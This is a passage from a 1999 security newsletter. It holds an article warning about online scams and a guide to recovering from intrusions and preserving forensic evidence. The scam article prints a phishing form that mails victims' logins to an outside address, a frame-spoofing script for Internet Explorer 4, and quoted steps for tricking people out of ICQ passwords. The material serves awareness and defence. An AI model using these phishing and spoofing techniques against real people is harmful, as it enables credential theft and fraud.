it sends an e-mail message to the creator of it with your login and
password. Code follows:

<********************************************************************>

<form action="http://bewoner.dma.be/bew-bin/ukmailer.cgi" method=POST>
<INPUT TYPE="HIDDEN" NAME="recipient" VALUE="sabbs@hotmail.com">
<input type=hidden name="subject" value="You've Got Mail">
<input type=hidden name="redirect" value="http://pages.hotbot.com/biz/
deity/error.html">

<********************************************************************>

So it sends your information and you get a html note that you entered
the wrong password and it redirects you to the REAL Net Mail log-on 
site. On this way, if you were not too cautious, you shared your info, 
and you don't have a clue that you did it.
Just to add -  Scammers obtaining a screen name or password could 
potentially do considerable harm on an AOL member's account. An 
account violator could use the member's communications features, such 
as email and the instant messenger buddy list, or even purchase goods 
with the member's credit card.

I was thinking about how this fraud trick could be even more realistic.
Well when you enter the password, new html file opens that says that 
you must try again, and the Address bar in this issue says:
http://pages.hotbot.com/biz/deity/error.html
If you add some Java script and if you know for frame spoofing 
vulnerability, you could improve the scam to maximum.
Frame spoofing vulnerability is found by Georgi Guninski and it "works"
on Internet Explorer 4.x browsers (the bug was patched afterwards).
This example opens a fake www.yahoo.com website.

<********************************************************************>

<SCRIPT>
b=showModalDialog("about:<SCRIPT>a=window.open('http://www.yahoo.com');
a.document.write('<HTML><HEAD><TITLE>Yahoo</TITLE><BODY></HEAD><H1>Look
at the address bar!<BR>');a.document.write('<A HREF=\"http://www.whiteh
ats.com/guninski\">Go to Georgi Guninski\\'s home page</A></H1></BODY>
</HTML>');close()</"+"SCRIPT>%01http://www.yahoo.com");
</SCRIPT>
 
<********************************************************************>

All this information about successfully using Frame spoofing vulnerability
with this scam is presented in educational purpose, for you, to see
that you must be real careful, because with some little tricks you 
could be deceived easily.


(3)
  ICQ password stealing

If you are non-suspicious, you could easily lose your ICQ password.
This is the "ICQ exploit" that could be found on some "underground 
sites on the Internet. It isn't really an exploit, but just a way
to get someone's ICQ password easily. 

<********************************************************************>

Ok..the trick to this is to trick someone into putting
your email address as their email address..and then you
goto www.icq.com/password and type in their UIN..it sends
their password to the email in their info..now here are a
few tricks to get them to put your email or any email you know
the password to in their ICQ info..

1)you have a klan? Ask them to join..if they do..tell them
you have a klan email..(yourklan@hotmail.com)or whatever
tell them to put that as their email so people can contact

<********************************************************************>

So don't change your e-mail settings for ICQ, because it couldn't be
good for you (try to think, why would someone tell you that you write
his e-mail address in your ICQ settings, what could he absolutely get
than using it against you. Well most of this scams work on a social 
engineering base - they try to make you believe them.


(4)
  Combinations

Following two stories were picked up by news sites.

CNET (www.cnet.com) 04.03.1998 > "Hotmail suffers email scam" 

A Hotmail user who registered the name "admin@hotmail.com" sent out 
official-sounding email to an indeterminate number of people earlier 
this week telling users that "The trial period for your free Hotmail 
Service is rapidly coming to a close." 
It goes on to tout Hotmail's features and tells users the accounts will
cost $10 per year. It then requests that the user send an email to 
"admin@hotmail.com" for an account form. 
"Payments will be accepted by certified cheque, money order, or credit 
cards only," it states. 
Hotmail pulled the account yesterday as soon as the staff found out 
about it, said Randy Delucchi, Hotmail's director of customer service. 
Delucchi said he wasn't sure how many people got the email message, 
but added he was sure it "wasn't very widespread at all," because 
Hotmail has implemented antispam measures that prevent email from being
sent to more than 25 people at a time. 
Spammers generally like to send email to thousands of people at once. 
This is not the first time people have used free email to try to scam 
their fellow Netizens. 
In December, someone used Yahoo's free email to send out an 
official-looking letter telling users they had won a modem from Yahoo 
and would have to supply their names, addresses, and telephone numbers 
as well as a credit card number to pay for shipping. 

CNET (www.cnet.com) 22.04.1999 > "AOL warns of email scam" 

America Online is warning users that email messages posing as 
AOL-endorsed offers and notices are really trying to gather sensitive 
member information.
A number of these messages have such subject headings as "AOL Server 
Error," "AOL Billing Problem," "Beanie Babies," or "AOL Rewards," and 
are intended to lure members to open them, according to a cautionary 
posting on the "Neighborhood Watch" page within AOL's proprietary 
service.
The warning says the messages contain HTML hyperlinks that lead to 
Web sites pretending to be a standard registration Web page. But these 
pages ask for member screen names or passwords, which could potentially 
lead scammers into AOL member accounts.
One sample email reads: "A database error has deleted the information 
for over 25,000 accounts, and yours is one. In order for us to access 
the back-up data of your account, we do need your password. Without 
your password, we will NOT be able to allow you to sign onto America 
Online within the next 24 hours after your opening of this letter."
According to AOL spokesman Rich D'Amato, AOL posted its warnings three 
weeks ago, prompted by "member complaints, as well as emails that we 
had been seeing."

So you got the point, be very carefull. Scams are different: from the
realy pathetic ones (that Hotmail hacking) to more complecsive (using
frame spoofing). Also note that hack/hacking words are under " ", 
because scams are in no way means or ways of hacking.

Berislav Kucan
aka BHZ
bhz@net-security.org
http://net-security.org



XII. Intrusion and detection part two
---------------------------------------

This is a follow-up to last week's article on responding to an intrusion,
which can be found at http://default.net-security.org/dl/default2.txt.
Today I'll go into a more in-depth look at recovering from an intrusion,
and a brief look at computer forensics -- i.e., what to do if you want to
try to get the law involved in the incident.

Much like any other part of intrusion response, recovery from attack
starts before you've been attacked. It can be very difficult to recover
if you don't have recent backups of your system -- back things up
regularly; nightly if possible. If you've got important information on
your system, a nightly backup just makes sense. I prefer backing up to
tape if you can afford a tape drive, but it's not a requirement. What you
do need is some form of backup that holds your important system files and
binaries, so you can restore if something happens, or a rescue disk that
contains clean versions of important system binaries. Also (preferably at
the time when you actually install your operating system, so you're sure
it's clean), run a program that checks your system. Tripwire, for
instance, is a wonderful tool that works on Solaris, Linux, and Windows
NT. It takes a sort of snapshot of your system and creates a database
which contains the checksum, creation date, and access permissions for
each file. If you feel that your system may have been compromised, you
can run tripwire against it again, and compare the results to see if
anything's changed (tripwire can even be run regularly, to detect
changes; perhaps run it just before your regular backup, to see if
anything's been altered since your last backup). Tripwire aids in
recovery because it can point out exactly which files were damaged or
altered, as in the case of trojaned binaries and rootkits, and can allow
quick replacement of them with good copies. And of course, the third
thing to do before an intrusion begins is to be aware of intrusion
detection tools. Run them, watch the logs, and be alert -- you can't
recover from an attack you don't know happened.

As I discussed last week, one of the most important things you can do is 
log, and maintain the integrity of your logs. The need for good logs
really comes into play here, in several different ways. For the purposes
of this article, I'm assuming that you have intrusion detection tools
running, tripwire installed, and are watching and recording your logs. I
should note that it's best to log to a remote, secure loghost, log to a
printer, or at least make sure that if your logs are on the same host, 
your log files are append-only (only new text can be added) -- most
rootkits now go through and edit logs to remove an attacker's traces. If
you're logging to a different machine or a cheap dot matrix printer in the
corner, they'll have a hard time covering their tracks -- I'm going to
assume, for this article, that your logs are intact.

When your intrusion detection software starts sending out alerts, the most
important rule is -not- to panic. You cannot react faster than data can
come in to your computer -- by the time you've noticed the attack, the
attacker is already several steps ahead of you, and may already be in your
system before you can react.

Isolate the machine. There is one school of thought that advocates
pulling the power cord out of the computer (don't shut down first; many
rootkits install cleanup routines in the system's shutdown proceedures,
and you'll lose anything they'd added). I don't advocate this as a first
step -- I suggest pulling the network cable (modem, ethernet, whatever you
have connecting your machine to the internet). Pulling the power can lose
you a lot of information that would be helpful in diagnostics -- a lot of
scripts put files in /tmp, for instance, and on some operating systems 
that would be lost on a power-down. Once you've gotten the information
you need, run tripwire to get a new database of exactly what the system
looks like now...-then- pull the power cord (again, don't shutdown
normally). The reason for this becomes important later.

It's at this point that you need to decide whether or not to pursue legal
action. In most cases, especially for home users, the hassle of law
enforcement involvement is not worth it, and all you'll want to do is
rebuild and secure your machine. At the end of this article is a brief
discussion of what to do if you -do- want to involve law enforcement.

You've been attacked -- now it's time to rebuild. You have two options --
the easy way and the paranoid way. The paranoid way is pretty
self-explanatory: wipe -everything- and restore from a known clean backup
or reinstall from read-only media. For the easy way, turn your system
back on, but -don't- plug it into the network. Get your clean backup
disk (run tripwire on your backup to make certain it's clean), find the
files that were altered (compare the backup's tripwire database with the
current files on your system), and replace them with the safe binaries
you'd had on your backup. Commonly replaced binaries include /bin/login,
/bin/ps, /bin/ls, /bin/df, /usr/etc/in.telnetd, /usr/etc/in.ftpd,
/usr/etc/in.tftpd, /usr/sbin/ifconfig, etc (note that these locations may 
be different for different flavors of UNIX). Check -everything- -- files
can be changed in unexpected ways, or be added in unusual places. Some
attackers like to hide their files, for instance, in /tmp, /etc/tmp,
/var/temp, /usr/spool, etc. Look for files with spaces in the name. Look
for alterations of /etc/hosts.equiv, /bin/.rhosts (or any .rhosts file at 
all), /etc/passwd, /etc/group, etc. 'Find' is a good command for this; it
can be used to find all suid/sgid files, sneaky .rhosts, etc. Look for
suid root binaries in unexpected places. Next, look to make sure there
isn't a sniffer installed. On UNIX-based machines, if a sniffer's
installed on an interface, the interface will have the PROMISC flag set
(short for 'promiscuous' -- it means the interface is listening to all the
traffic on the network, not just the packets intended for that interface).
Sounds easy? Not so. There are scripts that install a sniffer -and- hide
the PROMISC flag. The way to check is to set the interface PROMISC
yourself, and then check to see if the PROMISC flag shows up. If it
doesn't show up, you may have a problem -- make sure you replace ifconfig
with a known good copy, and again, look for strange suid binaries and
files owned by root that shouldn't be.

Personally, I recommend wiping everything and starting from a good backup.
It's safer, and you don't need to worry about having missed something
important. Reinstalling from known good media may be paranoid, but it
obviates a lot of the work of finding all files that have been tampered
with, and will remove things like sniffers and back doors. If you'd like
to do an in-depth analysis, make a complete sector-by-sector copy of the
compromised disk before you wipe it, then mount (don't boot, mount) the
copy read-only on a known good system, and do your analysis there.

Now start going through the logs. What happened? Do you see anything
unusual? Look as far back through your logs as you can; maybe you'll see
the initial intrusion. Using another computer (or using the hacked
system, if you feel lucky, punk), use search engines to look up anything
in your logs you don't understand; you may be surprised at what you find.
The goal is to find out exactly how the attacker got in, find the hole,
and repair it. Most commonly-exploited holes have patches -- do some
research on your favorite search engine, find the exploit, find the patch,
and fix the hole. If you can't find anything that might have been used
against you (and be sure to look in the Bugtraq archives at
http://www.securityfocus.com/ -- click on 'forums' and then 'bugtraq',
then 'archive'), you may want to email cert@cert.org to notify the CERT
team. They may not respond, but if it really is a new exploit, they'll
look into it -- see http://www.cert.org/tech_tips/incident_reporting.html
for more information. Once you've got your system patched and replaced
all the altered files, change all passwords on the system, just in case
the attacker has your /etc/passwd (or /etc/shadow) file.

But suppose you -do- want to take the matter to law enforcement. The most
important thing you can do, if that's the case, is to preserve
evidence...and your hard drive is evidence. When you pulled the power on
your hacked machine, you preserved as much of the current state of your
system as you could. Now you need to physically remove the hard drive
from the computer, set it to read-only (if you want to do analysis on it, 
make a complete physical sector-by-sector copy, and mount it -- don't boot
it -- read-only on a known 'good' system, and do your analysis on -that-),
and place it in a safe along with a copy of the original tripwire database
and a copy of the tripwire database you'd taken just before pulling the
plug. Also put into the safe all of the relevant logs, also in read-only
format to prove they have not been edited -- one idea is to print out
your logs, sign and date them, and have them notarized to prove the
electronic copies have not been tampered with. Include as well as much
information as you had been able to gather about the attacker (see the
previous article at http://default.net-security.org/dl/default2.txt for a
simple discussion of how to identify the attacker). The more information
you can provide law enforcement, the more likely they are to be able to
prosecute. Document everything you possibly can -- a clear chain of
evidence must be compiled before you can hope to have anything done, and
you must be able to show that that evidence has not been tampered with.
Once you have all your evidence, contact law enforcement -- I should note
that, just as it's a good idea to know who your ISP's security team is
ahead of time, it's handy to know ahead of time who to contact among local
law.

And be nice to them. You -want- them to like you.

Comments to this article are welcome -- not everyone responds to incidents
in the same way, and I'd be very interested in hearing other methods, or
hearing opinions I may not have considered yet.

/dev/null
null@fiend.enoch.org

(thanks to mike@enoch.org for his help with this article)







--------------------------------------------------------------------------------
				Default newsletter Issue #3
				http://default.net-security.org
				27.08.1999 Help Net Secutity
				http://www.net-security.org
--------------------------------------------------------------------------------